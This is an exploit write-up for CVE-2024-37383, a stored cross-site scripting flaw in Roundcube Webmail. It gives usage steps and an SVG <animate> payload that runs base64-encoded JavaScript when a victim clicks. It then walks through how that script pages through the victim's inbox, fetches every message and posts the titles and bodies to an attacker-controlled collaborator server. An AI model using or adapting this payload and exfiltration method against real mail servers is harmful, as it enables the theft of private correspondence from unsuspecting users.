# Exploit Title: Roundcube mail server exploit for CVE-2024-37383 (Stored XSS)
### Google Dork:
### Exploit Author: AmirZargham
### Vendor Homepage: Roundcube - Free and Open Source Webmail Software
### Software Link: Releases · roundcube/roundcubemail
### Version: Roundcube client version earlier than 1.5.6 or from 1.6 to 1.6.6.
### Tested on: firefox,chrome
### CVE: CVE-2024-37383
### CWE: CWE-79
### Platform: MULTIPLE
### Type: WebApps
### Description:
The CVE-2024-37383 vulnerability was discovered in the Roundcube Webmail email client. This is a stored XSS vulnerability that allows an attacker to execute JavaScript code on the user's page. To exploit the vulnerability, all attackers need to do is open a malicious email using a Roundcube client version earlier than 1.5.6 or from 1.6 to 1.6.6.
### Usage Info:
#### 1- open the Roundcube_mail_server_exploit_for_CVE-2024-37383.js.
#### 2- Change the web address of the original email (target) and the URL of the receiving server (attacker server).
#### 3- You can put the code in file SVG <animate> tag and send it to the server. (It is recommended that you configure an SMTP server for send a malicious mail)
```javascript
<svg>
<animate attributeName="href " values="javascript:eval(atob('BASE64_EXPLOIT_CODE'));" href="#link" />
</animate>
<a id="link">
<text x=20 y=20>Click me</text>
</a>
</svg>
```
#### 4 -After the victim clicks, all emails in the mailbox will be sent to your collaborator server.
This code automates the process of retrieving all messages inbox from a Roundcube webmail server and forwarding that data to a specific collaborator server endpoint.
### Here’s a step-by-step breakdown:
### 1. Setup URLs:
The main webmail URL (target) and the receiving server URL (attackerserver) are defined as variables at the beginning for easy configuration.
### 2. Get Total Page Count:
The getPageCount function sends a GET request to the main webmail URL to fetch metadata, including the total number of pages (pagecount).
If pagecount is found, it proceeds to loop through each page.
### 3. Fetch Message IDs from All Pages:
For each page from 1 to pagecount, it constructs a paginated URL to request that page.
Each page’s response is checked for instances of add_message_row(NUMBER) using regex, extracting message IDs from each instance and collecting all IDs in a single list.
### 4. Retrieve Each Message's Content:
For each message ID, the code constructs a URL to request detailed data about that message.
It sends a GET request for each message ID URL, receiving the full response HTML.
### 5. Extract and Clean Message Data:
Within each message response, it uses regex to capture the <title> (message title) and main message content.
Any HTML tags are stripped from the message content to keep only the plain text.
### 6. Send the Data to the Server:
For each extracted message, a POST request is made to the server endpoint with the title and cleaned message content, URL-encoded for proper transmission.
